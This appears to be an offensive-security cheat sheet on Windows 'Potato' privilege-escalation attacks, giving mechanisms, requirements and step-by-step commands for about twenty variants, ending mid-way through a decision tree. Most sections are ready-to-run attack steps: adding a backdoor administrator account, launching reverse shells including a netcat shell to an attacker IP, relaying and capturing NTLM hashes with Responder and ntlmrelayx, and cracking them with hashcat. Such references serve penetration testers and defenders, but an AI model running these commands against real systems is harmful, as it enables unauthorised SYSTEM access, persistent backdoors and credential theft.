A comprehensive reference of all known Potato attacks — covering mechanisms, requirements, OS compatibility, and step-by-step execution.
Core Concept
All Potato attacks share the same fundamental primitive:
SeImpersonatePrivilege OR SeAssignPrimaryTokenPrivilege
These privileges are typically held by service accounts such as:
IIS APPPOOL\*NT AUTHORITY\NETWORK SERVICENT AUTHORITY\LOCAL SERVICE- SQL Server service accounts (
MSSQLSERVER,SQLSERVERAGENT)
They are not held by standard user accounts, which is why you usually arrive here after getting a foothold via a web shell, SQL injection RCE, or similar low-privileged service exploit.
What These Privileges Actually Mean
| Privilege | What It Allows |
|---|---|
SeImpersonatePrivilege |
Impersonate a client after authentication — steal tokens from connecting processes |
SeAssignPrimaryTokenPrivilege |
Replace the primary token of a process — launch processes as another user |
The Universal Attack Chain
Service account shell (e.g., IIS / MSSQL / web shell)
↓
Trick a SYSTEM-level component into authenticating to you
(via DCOM, RPC, Named Pipe, EFS, Print Spooler, AppX, ADCS, RasMan...)
↓
Capture its token / NTLM authentication
↓
Impersonate SYSTEM → spawn SYSTEM shell
Every Potato variant is just a different coercion method to trigger that SYSTEM-level authentication event.
Full Overview Table
| Attack | Core Technique | Works On | Needs CLSID | Needs Network | SeImpersonate Required | Status |
|---|---|---|---|---|---|---|
| RottenPotato | DCOM + NTLM relay | Win7 / Server 2008 | Yes | No | Yes | Deprecated |
| JuicyPotato | DCOM object abuse | Win7–Win10 ≤1803 | Yes | No | Yes | Mostly patched |
| RoguePotato | RPC + OXID resolver | Win10 1809+ / 2016+ | No | Yes | Yes | Limited use |
| PrintSpoofer | Print Spooler named pipe | Win10 / 2016+ / 2019 | No | No | Yes | Very reliable |
| SweetPotato | Multi-method (DCOM+EFS+Spooler) | Mixed | Optional | No | Yes | Flexible |
| GodPotato | NTLM reflection via RPC | Win10 1809+ / 2019 / 2022 / Win11 | No | No | Yes | Modern & reliable |
| EfsPotato | EFS RPC coercion (MS-EFSR) | Win10+ / Server 2016+ | No | No | Yes | Reliable |
| PetitPotato | EfsRpc local coercion | Win10+ / Server 2016+ | No | No | Yes | Reliable |
| PrintNotifyPotato | Print Notify RPC coercion | Win10+ / Server 2016+ | No | No | Yes | Good fallback |
| AppxPotato | AppX Deployment Service | Win10 / Win11 desktop | No | No | Yes | Desktop-focused |
| ADCSCoercePotato | ADCS HTTP enrollment coercion | Domain w/ ADCS | No | Partial | Yes | AD-specific |
| RasManPotato | RasMan RPC coercion | Win10+ / Server 2016+ | No | No | Yes | Good fallback |
| RemotePotato0 | DCOM cross-session token theft | Win10+ (multi-user) | No | Yes | Admin req. | Lateral movement |
| LocalPotato | NTLM reflection — no SeImpersonate | Win10/11 / 2019/2022 (unpatched) | No | No | No | CVE-2023-21746 |
| CandyPotato | DCOM + named pipe hybrid | Win10 / Server 2019+ | Optional | No | Yes | Modern variant |
| BravePotato | DCOM IRemUnknown2 coercion | Win10 / Server 2016+ | No | No | Yes | Niche use |
| DeadPotato | Task Scheduler / deprecated COM | Win10+ | No | No | Yes | Situational |
| MultiPotato | Multi-trigger framework | Wide range | No | No | Yes | Flexible framework |
| SigmaPotato | RPC coercion (Server 2022 focused) | Win11 / Server 2022 | No | No | Yes | Cutting edge |
| GenericPotato | SDK for custom Potato exploits | Any | Configurable | Configurable | Yes | Research/Custom |
1. RottenPotato
How It Works
RottenPotato is the original Potato exploit, discovered by FoxGlove Security. It combines DCOM activation with a local NTLM relay attack.
- The attacker process (low-priv service account) creates a fake COM server on localhost.
- It triggers DCOM activation, which forces
NT AUTHORITY\SYSTEMto authenticate to the fake server. - The NTLM authentication is relayed back via a local
CreateProcessWithTokencall, capturing a SYSTEM token. - That token is used to spawn a command as SYSTEM.
⚠️ Deprecated. Unreliable on modern systems. Historical reference only — use JuicyPotato or later variants.
Requirements
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege- DCOM enabled, NTLM enabled
- Windows 7 / Server 2008
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Check OS
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: 3. Upload RottenPotato.exe to C:\Windows\Temp\
:: 4. Spawn cmd as SYSTEM
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe
:: 5. Or run a reverse shell
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64_payload>"
From Meterpreter:
meterpreter > upload /path/to/RottenPotato.exe C:\\Windows\\Temp\\rp.exe
meterpreter > execute -f C:\\Windows\\Temp\\rp.exe -a "-t * -p cmd.exe"
2. JuicyPotato
How It Works
JuicyPotato removes the Metasploit dependency from RottenPotato. It:
- Uses a CLSID (COM class identifier) to activate a COM object that runs as SYSTEM.
- Sets up a fake local COM server on a configurable port.
- The SYSTEM COM object authenticates to the fake server.
- The NTLM auth is used to impersonate SYSTEM and execute a command.
CLSIDs are OS-specific — different builds have different working CLSIDs. You may need to try several.
Finding Valid CLSIDs
# Enumerate CLSIDs on the target
Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Select-Object PSChildName
# Or use GetCLSID.ps1 from the JuicyPotato repo
# Full list per OS: https://github.com/ohpe/juicy-potato/tree/master/CLSID
Requirements
SeImpersonatePrivilege- Valid CLSID for the target OS
- DCOM enabled
- Windows 7 / 8 / 10 ≤1803, Server 2008 / 2012 / 2016
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Check OS version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: 3. Upload JuicyPotato.exe to C:\Windows\Temp\
:: 4. Add a user
JuicyPotato.exe -t * -p cmd.exe -a "/c net user hacker P@ssw0rd! /add" -l 9999 -c {CLSID}
JuicyPotato.exe -t * -p cmd.exe -a "/c net localgroup administrators hacker /add" -l 9999 -c {CLSID}
:: 5. Reverse shell
JuicyPotato.exe -t * -p C:\Windows\Temp\shell.exe -l 9999 -c {CLSID}
:: Common CLSIDs:
:: Server 2016: {4991D34B-80A1-4291-83B6-3328366B9097}
:: Win10 1803: {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
| Flag | Meaning |
|---|---|
-t * |
Try both CreateProcessWithToken and CreateProcessAsUser |
-p |
Program to execute |
-a |
Arguments |
-l |
Local port for fake COM server (any free port) |
-c |
CLSID |
3. RoguePotato
How It Works
Designed after the JuicyPotato patch (Win10 1809+). Instead of DCOM, it abuses the OXID resolver — the RPC component that resolves remote COM object addresses.
- Attacker sets up a fake RPC/OXID server on their own machine.
- On the target, a COM activation is triggered pointing to the attacker's fake OXID resolver.
- Windows resolves the OXID and authenticates — triggering NTLM to the attacker.
- Attacker relays auth locally via named pipe, capturing the SYSTEM token.
Requires TCP 135 connectivity from target → attacker. Firewalled environments will block this.
Requirements
SeImpersonatePrivilege- Network access: target → attacker TCP 135
socaton attacker side- Windows 10 1809+ / Server 2016+
Steps
# === Attacker Machine ===
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 &
nc -lvnp 4444
:: === Target Machine ===
:: Upload RoguePotato.exe
RoguePotato.exe -r <ATTACKER_IP> -e "C:\Windows\Temp\shell.exe" -l 9999
:: Add user instead:
RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c net user hacker P@ss1 /add && net localgroup administrators hacker /add" -l 9999
4. PrintSpoofer
How It Works
Abuses the Windows Print Spooler service via named pipe impersonation — no DCOM or CLSID required.
- PrintSpoofer creates a custom named pipe mimicking
\\.\pipe\LOCALPIPE\pipe\spoolss. - It calls the Spooler's
ImpersonatePrinterClientRPC function, triggering the Spooler (SYSTEM) to connect. ImpersonateNamedPipeClient()captures the SYSTEM token from the connecting Spooler.- SYSTEM token used to execute commands.
One of the most reliable modern methods — no DCOM, no CLSID, no network.
Requirements
SeImpersonatePrivilege- Print Spooler service running (
sc query spooler) - Windows 10 / Server 2016 / 2019
Steps
:: 1. Confirm privilege and Spooler status
whoami /priv
sc query spooler :: Look for STATE: 4 RUNNING
:: 2. Upload PrintSpoofer.exe
:: 3. Test (confirm SYSTEM)
PrintSpoofer.exe -c "whoami"
:: 4. Interactive shell (if PTY available)
PrintSpoofer.exe -i -c cmd
:: 5. Add user
PrintSpoofer.exe -c "net user hacker P@ssw0rd! /add"
PrintSpoofer.exe -c "net localgroup administrators hacker /add"
:: 6. Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\shell.exe"
:: 7. Non-interactive / web shell — chain commands
PrintSpoofer.exe -c "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"
5. SweetPotato
How It Works
SweetPotato is an all-in-one wrapper that bundles multiple coercion methods and tries them automatically:
- PrintSpoofer path — named pipe via Spooler
- DCOM path — similar to JuicyPotato
- EfsRpc path — EFS RPC coercion
It auto-selects based on what's available, ideal when you're unsure about the target environment.
Requirements
SeImpersonatePrivilege- Method-dependent (auto-probes)
Steps
:: 1. Upload SweetPotato.exe
:: 2. Auto-mode (try everything)
SweetPotato.exe -a "whoami"
:: 3. Specific payload
SweetPotato.exe -a "net user hacker P@ssw0rd! /add"
SweetPotato.exe -a "C:\Windows\Temp\shell.exe"
:: 4. Force a specific method
SweetPotato.exe -e EfsPotato -a "cmd /c whoami"
SweetPotato.exe -e PrintSpoofer -a "cmd /c whoami"
SweetPotato.exe -e DCOM -a "cmd /c whoami"
:: 5. Interactive shell
SweetPotato.exe -a "cmd" -i
6. GodPotato
How It Works
The most modern and universal Potato. Abuses NTLM reflection over RPC targeting the IRemUnknown2 OXID interface — entirely local, no external server needed.
- Creates a local fake COM server.
- Triggers SYSTEM-level COM activation via the local OXID interface.
- SYSTEM authenticates to the fake server locally.
- NTLM auth is reflected back to impersonate SYSTEM and run a command.
No CLSID, no network, works on fully patched Win10/11/Server 2022.
Requirements
SeImpersonatePrivilege- NTLM enabled (default), RPC running (default)
- Windows 10 1809+ / Server 2019 / Server 2022 / Windows 11
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Test — confirm SYSTEM
GodPotato.exe -cmd "cmd /c whoami"
:: 3. Add backdoor user
GodPotato.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"
:: 4. Reverse shell
GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"
:: 5. Netcat reverse shell
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
On attacker:
nc -lvnp 4444
7. EfsPotato
How It Works
EfsPotato abuses the Encrypting File System Remote Protocol (MS-EFSR) — specifically the EfsRpcOpenFileRaw or EfsRpcEncryptFileSrv RPC calls — to coerce the local SYSTEM account into authenticating to an attacker-controlled named pipe.
- Attacker creates a local fake named pipe (e.g.,
\\.\pipe\evil\pipe\srvsvc). - Calls an EFSR RPC function with a UNC path pointing to the fake pipe:
\\127.0.0.1/pipe/evil/pipe/srvsvc\whatever - The EFS service (lsass, running as SYSTEM) attempts to access the UNC path and authenticates.
ImpersonateNamedPipeClient()captures the SYSTEM token.- SYSTEM command executed.
This is the local adaptation of the PetitPotam domain coercion technique. Works even when Print Spooler is disabled — it targets EFS via lsass instead.
Requirements
SeImpersonatePrivilege- EFS/MS-EFSR interface accessible (default — routes through lsass even when EfsVc is stopped)
- Windows 10 / Server 2016 / 2019 / 2022
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Upload EfsPotato.exe (or use SweetPotato with -e EfsPotato)
:: 3. Test execution
EfsPotato.exe whoami
:: 4. Add user
EfsPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
EfsPotato.exe "cmd /c net localgroup administrators hacker /add"
:: 5. Reverse shell
EfsPotato.exe "C:\Windows\Temp\shell.exe"
:: 6. Via SweetPotato (same technique, different wrapper)
SweetPotato.exe -e EfsPotato -a "C:\Windows\Temp\shell.exe"
If it fails:
:: EFS RPC calls can be blocked by GPO (DisableEfsRpcEncryptFileSrv registry key)
:: Check: reg query HKLM\SYSTEM\CurrentControlSet\Services\EfsRpc
:: If blocked → fall back to RasManPotato or GodPotato
8. PetitPotato
How It Works
PetitPotato is the local privilege escalation adaptation of PetitPotam (by topotam). PetitPotam was originally a domain-level attack (forcing DCs to authenticate to an attacker), but PetitPotato redirects that coercion locally for SYSTEM impersonation.
It specifically uses the EfsRpcOpenFileRaw MS-EFSR call to cause the local SYSTEM process to authenticate to a named pipe under attacker control:
Caller → EfsRpcOpenFileRaw("\\127.0.0.1/pipe/attacker_pipe\something")
→ lsass / EFS service resolves UNC path
→ Connects to attacker's named pipe as SYSTEM
→ ImpersonateNamedPipeClient() → SYSTEM token
Difference from EfsPotato: PetitPotato focuses on the named pipe coercion path derived directly from the PetitPotam PoC. EfsPotato may use different MS-EFSR function variants. In practice both are closely related and both are bundled in SweetPotato.
Requirements
SeImpersonatePrivilege- MS-EFSR interface accessible locally (default)
- Windows 10 / Server 2016 / 2019 / 2022
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Upload PetitPotato.exe
:: 3. Test
PetitPotato.exe -p "cmd /c whoami"
:: 4. Add user
PetitPotato.exe -p "cmd /c net user hacker P@ssw0rd! /add"
PetitPotato.exe -p "cmd /c net localgroup administrators hacker /add"
:: 5. Reverse shell
PetitPotato.exe -p "C:\Windows\Temp\shell.exe"
:: 6. One-liner for web shells
PetitPotato.exe -p "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"
If EFS-based coercion fails, fall back to GodPotato or PrintSpoofer. EFS methods can be disabled via Group Policy (
DisableEfsRpcEncryptFileSrv).
9. PrintNotifyPotato
How It Works
PrintNotifyPotato targets the Print Notify RPC interface — a distinct interface from the Print Spooler (spoolsv.exe). While PrintSpoofer abuses spoolsv.exe, this exploit targets the IRemoteWinspool / Print Notify endpoint.
- Attacker creates a fake named pipe.
- Calls the Print Notify RPC interface with a path pointing to the fake pipe.
- The Print Notify service (running as SYSTEM) connects to the pipe.
- SYSTEM token is captured via
ImpersonateNamedPipeClient().
Key advantage over PrintSpoofer: This works even if the Print Spooler (spoolsv.exe) is disabled — a common hardening measure. Print Notify is a separate and often-overlooked endpoint that remains accessible.
Requirements
SeImpersonatePrivilege- Print Notify interface accessible (part of Windows print subsystem, separate from Spooler)
- Windows 10 / Server 2016 / 2019 / 2022
Steps
:: 1. Confirm privilege
whoami /priv
:: 2. Verify Spooler is disabled (proving this method is needed)
sc query spooler :: STOPPED = use this instead of PrintSpoofer
:: 3. Upload PrintNotifyPotato.exe
:: 4. Test
PrintNotifyPotato.exe -c "whoami"
:: 5. Add user
PrintNotifyPotato.exe -c "net user hacker P@ssw0rd! /add"
PrintNotifyPotato.exe -c "net localgroup administrators hacker /add"
:: 6. Reverse shell
PrintNotifyPotato.exe -c "C:\Windows\Temp\shell.exe"
10. AppxPotato
How It Works
AppxPotato abuses the AppX Deployment Service (AppXSvc) — the Windows component responsible for installing and managing Windows Store (UWP) applications.
AppXSvcruns asNT AUTHORITY\SYSTEM.- AppxPotato triggers AppXSvc to initiate a COM activation or pipe connection the attacker controls.
- AppXSvc connects to the attacker's fake named pipe as SYSTEM.
- SYSTEM token is captured and impersonated.
This attack targets a service that is always present on Windows 10/11 desktop editions (Windows Store is always installed), making it very reliable for workstation targets.
Requirements
SeImpersonatePrivilege- AppX Deployment Service running (
AppXSvc) - Windows 10 / Windows 11 (desktop editions)
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Verify AppXSvc is running
sc query AppXSvc :: STATE: 4 RUNNING
:: 3. Upload AppxPotato.exe
:: 4. Test
AppxPotato.exe "whoami"
:: 5. Add user
AppxPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
AppxPotato.exe "cmd /c net localgroup administrators hacker /add"
:: 6. Reverse shell
AppxPotato.exe "C:\Windows\Temp\shell.exe"
AppXSvc may be disabled on Server editions (Server Core, hardened installs). Primarily relevant on desktop Windows 10/11.
11. ADCSCoercePotato
How It Works
ADCSCoercePotato combines Active Directory Certificate Services (ADCS) coercion with local privilege escalation. In domain environments where ADCS is deployed with HTTP enrollment endpoints, it abuses the certsrv web interface to trigger NTLM authentication from SYSTEM.
- Identifies an accessible ADCS HTTP enrollment endpoint on the CA server.
- Triggers the local SYSTEM account to authenticate to it via HTTP NTLM.
- Relays that NTLM authentication to a local privileged endpoint (named pipe or similar).
- Captures and impersonates the SYSTEM token.
This is particularly powerful in AD environments because ADCS HTTP (non-HTTPS, no EPA enforced) is common — the same infrastructure enabling ESC8 attacks also enables this local relay for privesc.
Requirements
SeImpersonatePrivilege- Domain-joined machine with ADCS HTTP enrollment accessible (
http://<CA>/certsrv/) - NTLM enabled on the ADCS endpoint (no HTTPS + EPA enforcement)
Steps
:: 1. Confirm privileges and domain membership
whoami /priv
whoami /fqdn
:: 2. Identify ADCS server
certutil -config - -ping
:: Or enumerate from domain:
nltest /dclist:<domain>
:: 3. Verify HTTP enrollment is accessible
curl -v http://<CA_SERVER>/certsrv/
:: Auth prompt (401 with NTLM) = vulnerable
:: 4. Upload ADCSCoercePotato.exe
:: 5. Execute with CA server hostname/IP
ADCSCoercePotato.exe -t <CA_SERVER> -c "cmd /c whoami"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net user hacker P@ssw0rd! /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net localgroup administrators hacker /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "C:\Windows\Temp\shell.exe"
Enumerate CA from domain (PowerShell):
# Find ADCS servers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindAllDomainControllers()
# Or use certutil / LDAP query for CA enrollment endpoints
certutil -CA
If you're already doing ADCS ESC attacks (Certipy / Certify), this attack targets the same infrastructure. ESC8 = domain-level relay; ADCSCoercePotato = local privesc relay.
12. RasManPotato
How It Works
RasManPotato abuses the Remote Access Connection Manager (RasMan) service — the component responsible for managing VPN and dial-up connections in Windows.
- RasMan runs as
NT AUTHORITY\SYSTEM. - RasManPotato calls specific RasMan RPC interfaces with crafted parameters pointing to an attacker-controlled named pipe.
- RasMan connects to the attacker's named pipe as SYSTEM during RPC call resolution.
ImpersonateNamedPipeClient()captures the SYSTEM token.
When to use this: Ideal fallback when Print Spooler is disabled AND EFS-based methods fail. RasMan is usually running even on hardened servers that have disabled printing and EFS.
Requirements
SeImpersonatePrivilege- RasMan service running
- Windows 10 / Server 2012 / 2016 / 2019
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Check RasMan service
sc query RasMan
:: If needed, start it (may require permission)
sc start RasMan
:: 3. Upload RasManPotato.exe (also available in MultiPotato)
:: 4. Test
RasManPotato.exe -c "whoami"
:: 5. Add user
RasManPotato.exe -c "net user hacker P@ssw0rd! /add"
RasManPotato.exe -c "net localgroup administrators hacker /add"
:: 6. Reverse shell
RasManPotato.exe -c "C:\Windows\Temp\shell.exe"
13. RemotePotato0
How It Works
RemotePotato0 (by antonioCoco) is fundamentally different from all other Potatos. Instead of escalating to SYSTEM, it steals the NTLM hash of another logged-in user (such as a domain admin with an active RDP session).
- Requires a local SYSTEM or admin shell (from another Potato or other privesc — this is post-SYSTEM).
- Enumerates active sessions on the machine — identifies Session 1+ (logged-in users).
- Creates a DCOM activation in the context of that remote session.
- The logged-in user's process (e.g., domain admin) is triggered to authenticate to a fake NTLM server.
- Captures the NTLMv2 hash of that user.
- Hash is cracked offline or used for Pass-the-Hash / lateral movement.
Use case: You've escalated to SYSTEM on a box. A domain admin has an RDP session open. RemotePotato0 steals their hash for domain escalation.
Requirements
- Local SYSTEM or Administrator (not just SeImpersonate — this is a post-exploitation/lateral movement tool)
- Another user must have an active session (e.g., domain admin via RDP)
- Network reachability: target → attacker for NTLM capture
- Windows 10 / Server 2016+
Steps
# === Attacker Machine ===
# Start Responder to capture NTLMv2 hash
sudo responder -I eth0 -v
# Or use ntlmrelayx for direct relay
sudo ntlmrelayx.py -t ldap://<DC_IP> --no-http-server -smb2support
:: === Target Machine (as SYSTEM/Admin) ===
:: 1. Check who is logged in
query session
query user
:: 2. Upload RemotePotato0.exe
:: 3. Trigger hash capture targeting Session 1 (the RDP user)
:: -m 0 = NTLM hash capture mode
:: -s 1 = target session ID (from query session output)
RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s 1
| Flag | Meaning |
|---|---|
-m 0 |
Capture NTLMv2 hash mode |
-r |
Attacker IP (where Responder listens) |
-x |
Attacker IP for OXID resolution |
-p |
Local port for fake server |
-s |
Session ID to target |
After capturing the hash:
# Crack with hashcat
hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt
# Or relay with ntlmrelayx (no cracking needed)
⚠️ This is a lateral movement tool, not a local privesc. You need SYSTEM already. Use it to escalate from local SYSTEM → domain admin.
14. LocalPotato
How It Works
LocalPotato (CVE-2023-21746) is unique — it does NOT require SeImpersonatePrivilege. It exploits an NTLM reflection vulnerability in the Windows Storage Broker COM component.
- A low-privileged (standard) user triggers an NTLM authentication from the local SYSTEM process via the
IStorageSecurityEditorCOM interface. - The NTLM auth is reflected back to a local privileged endpoint (named pipe or DCOM).
- SYSTEM-level code execution is achieved without any impersonation privilege.
Why this is special: Every other Potato requires SeImpersonatePrivilege (typically only held by service accounts). LocalPotato can work from a standard interactive user account on an unpatched system.
Patch status: Patched in January 2023 Patch Tuesday (KB5022282 and related). Unpatched systems remain vulnerable.
Requirements
- Standard user account — no special privileges required
- Unpatched Windows 10 / 11 / Server 2019 / 2022 (pre-January 2023 patches)
Steps
:: 1. Check current user (doesn't need to be a service account)
whoami
whoami /priv :: SeImpersonate NOT required for this one
:: 2. Check if patched
wmic qfe list | findstr 5022282
:: If result found → patched → won't work
:: 3. Upload LocalPotato.exe
:: 4. Test — confirm SYSTEM
LocalPotato.exe -i whoami
:: 5. Add user
LocalPotato.exe -i "cmd /c net user hacker P@ssw0rd! /add"
LocalPotato.exe -i "cmd /c net localgroup administrators hacker /add"
:: 6. Reverse shell
LocalPotato.exe -i C:\Windows\Temp\shell.exe
💡 If you have a standard user shell (not a service account) on an unpatched system, try LocalPotato first — it's the only Potato that works from that position.
15. CandyPotato
How It Works
CandyPotato is a modern hybrid that combines DCOM-based coercion with named pipe impersonation, designed for systems where pure JuicyPotato-style DCOM is partially hardened but where the named pipe path remains accessible.
- Uses DCOM activation to trigger SYSTEM authentication (similar to JuicyPotato).
- Instead of relaying via local TCP, it redirects authentication to a named pipe.
- The named pipe impersonation captures a higher-quality, more stable SYSTEM token.
- Token is used with
CreateProcessAsUserorCreateProcessWithToken.
The named pipe approach provides more stability than pure DCOM TCP relay, allowing it to succeed on some targets where JuicyPotato fails.
Requirements
SeImpersonatePrivilege- DCOM partially available
- Windows 10 / Server 2016 / 2019 / 2022
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Upload CandyPotato.exe
:: 3. Test
CandyPotato.exe -c "{CLSID}" -a whoami
:: 4. Auto mode (no CLSID — attempts detection)
CandyPotato.exe -a "cmd /c whoami"
:: 5. Add user
CandyPotato.exe -a "cmd /c net user hacker P@ssw0rd! /add"
CandyPotato.exe -a "cmd /c net localgroup administrators hacker /add"
:: 6. Reverse shell
CandyPotato.exe -p C:\Windows\Temp\shell.exe
16. BravePotato
How It Works
BravePotato uses the IRemUnknown2 DCOM interface for coercion — a more obscure COM interface than those targeted by JuicyPotato. It exploits how Windows handles COM object interface negotiation:
- Triggers a DCOM object instantiation via the
IRemUnknown2interface path. - The interface negotiation causes SYSTEM to authenticate to an attacker-controlled COM endpoint.
- Token is captured and SYSTEM execution is achieved.
Relationship to GodPotato: GodPotato uses OXID/NTLM reflection via interfaces adjacent to IRemUnknown2. BravePotato approaches this from a different code path. Treat them as complementary — if one fails, try the other.
Requirements
SeImpersonatePrivilege- DCOM enabled, RPC services running
- Windows 10 / Server 2016 / 2019
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Upload BravePotato.exe
:: 3. Test
BravePotato.exe -c "cmd /c whoami"
:: 4. Add user
BravePotato.exe -c "cmd /c net user hacker P@ssw0rd! /add"
BravePotato.exe -c "cmd /c net localgroup administrators hacker /add"
:: 5. Reverse shell
BravePotato.exe -c "C:\Windows\Temp\shell.exe"
17. DeadPotato
How It Works
DeadPotato abuses "dead" or deprecated COM interfaces that are still registered and running as SYSTEM — specifically targeting the Windows Task Scheduler COM interface or similar deprecated-but-present service endpoints.
- Identifies a Task Scheduler or BITS COM object that runs as SYSTEM and is still triggerable.
- Activates the COM object in a way that causes SYSTEM to authenticate outbound to an attacker-controlled named pipe.
- Token is captured via named pipe impersonation.
The name "Dead" refers to using COM interfaces that are effectively dead in terms of active development — legacy COM registrations Microsoft hasn't cleaned up, providing a persistent attack surface.
Requirements
SeImpersonatePrivilege- Task Scheduler service running (typically always on)
- Windows 10 / Server 2016 / 2019 / 2022
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Check Task Scheduler
sc query Schedule :: Should show STATE: 4 RUNNING
:: 3. Upload DeadPotato.exe
:: 4. Test
DeadPotato.exe "whoami"
:: 5. Add user
DeadPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
DeadPotato.exe "cmd /c net localgroup administrators hacker /add"
:: 6. Reverse shell
DeadPotato.exe "C:\Windows\Temp\shell.exe"
18. MultiPotato
How It Works
MultiPotato is a framework/toolkit that consolidates multiple coercion triggers into one binary. Rather than just running one technique, it iterates through all available methods:
- EfsPotato (MS-EFSR)
- PetitPotam-style coercion
- PrintSpoofer-style named pipe
- RasMan coercion
- SplitImpersonation
- Additional custom triggers
Designed for heavily hardened environments where standard Potatos are individually blocked. It brute-forces available coercion paths until one succeeds.
Requirements
SeImpersonatePrivilege- At least one coercion-capable service running (it figures out which one)
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Upload MultiPotato.exe
:: 3. Auto mode — try all methods
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe
:: 4. Specify a single method
MultiPotato.exe -t EfsPotato -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t PrintNotify -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t RasMan -p C:\Windows\Temp\shell.exe
:: 5. Add user via auto-mode
MultiPotato.exe -t * -c "cmd /c net user hacker P@ssw0rd! /add"
:: 6. Verbose — shows which trigger succeeded
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe -v
MultiPotato is the best choice for unknown or heavily hardened environments. If SweetPotato fails, try MultiPotato next — it has more coercion methods.
19. SigmaPotato
How It Works
SigmaPotato is one of the newest Potato variants, specifically targeting Windows Server 2022 and Windows 11 where many older techniques fail. It exploits an RPC coercion path through COM interfaces that weren't addressed by patches targeting GodPotato's technique.
- Identifies a viable RPC/COM coercion path specific to the Server 2022 / Win11 patched state.
- Triggers SYSTEM authentication to a local attacker-controlled named pipe via this path.
- Token captured and SYSTEM execution achieved.
When to use: GodPotato and PrintSpoofer are still first choices on Server 2022. If both fail (NTLM reflection blocked + Spooler disabled), SigmaPotato provides a distinct third code path.
Requirements
SeImpersonatePrivilege- Windows 11 / Server 2022 (designed for these targets)
- RPC services available (default)
Steps
:: 1. Confirm privileges
whoami /priv
:: 2. Confirm OS (Server 2022 / Win11)
systeminfo | findstr "OS Name"
:: 3. Upload SigmaPotato.exe
:: 4. Test
SigmaPotato.exe "cmd /c whoami"
:: 5. Add user
SigmaPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
SigmaPotato.exe "cmd /c net localgroup administrators hacker /add"
:: 6. Reverse shell
SigmaPotato.exe "C:\Windows\Temp\shell.exe"
20. GenericPotato
How It Works
GenericPotato is not a standalone exploit — it is a C# library/SDK for building custom Potato-style exploits. It provides the core impersonation primitives so you only need to implement the coercion trigger:
- You define a custom coercion trigger (what service/interface to abuse).
- GenericPotato handles the named pipe creation, token capture, and process spawning.
- The framework makes it easy to build new Potatos as new coercion paths are discovered.
Use cases:
- Building a custom Potato for a newly discovered coercion interface
- Testing a service coercion theory without full exploit development
- CTF scenarios with custom services running as SYSTEM
- Internal tooling and research
Steps
// Reference GenericPotato.dll in your project
// Implement your custom coercion trigger
public class CustomTrigger : IImpersonationTrigger
{
public void Trigger(string pipeName)
{
// Your custom RPC/COM call that causes SYSTEM to connect to pipeName
// Example: calling some RPC interface with \\127.0.0.1\pipe\<pipeName>
SomeRpcService.SomeCall($@"\\127.0.0.1\pipe\{pipeName}\srvsvc");
}
}
// Use GenericPotato with your custom trigger
var potato = new GenericPotato();
potato.Trigger = new CustomTrigger();
potato.Run("cmd /c whoami");
:: If using as a standalone configurable binary
GenericPotato.exe -t CustomPipe -p "cmd /c whoami"
GenericPotato.exe -t CustomPipe -p "C:\Windows\Temp\shell.exe"
Universal Pre-Exploitation Checklist
:: 1. Check privileges — MOST CRITICAL
whoami /priv
:: 2. OS + patch level
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: 3. Check patch for LocalPotato (CVE-2023-21746)
wmic qfe list | findstr 5022282
:: Missing = LocalPotato works without SeImpersonate
:: 4. Check services relevant to Potato selection
sc query spooler :: PrintSpoofer
sc query AppXSvc :: AppxPotato (desktop only)
sc query RasMan :: RasManPotato
sc query Schedule :: DeadPotato
sc query efsvc :: EfsPotato / PetitPotato (also works via lsass)
:: 5. Active sessions (for RemotePotato0)
query session
query user
:: 6. Find writable directories to upload binaries
icacls C:\Windows\Temp\
icacls C:\ProgramData\
:: 7. Domain membership (for ADCSCoercePotato)
systeminfo | findstr "Domain"
SeImpersonatePrivilege — what to look for:
Privilege Name Description State
============================= ========================================= =======
SeImpersonatePrivilege Impersonate a client after authentication Enabled ← YOU NEED THIS
Full Decision Tree
Start: you have a shell
↓
whoami /priv
↓
├── No SeImpersonatePrivilege
│ ↓
│ Check patch: wmic qfe list | findstr 5022282
│ ├── KB5022282 MISSING → LocalPotato (no priv needed, CVE-2023-21746)
│ └── Patched → Other privesc vectors (AlwaysInstallElevated, service perms, etc.)
│
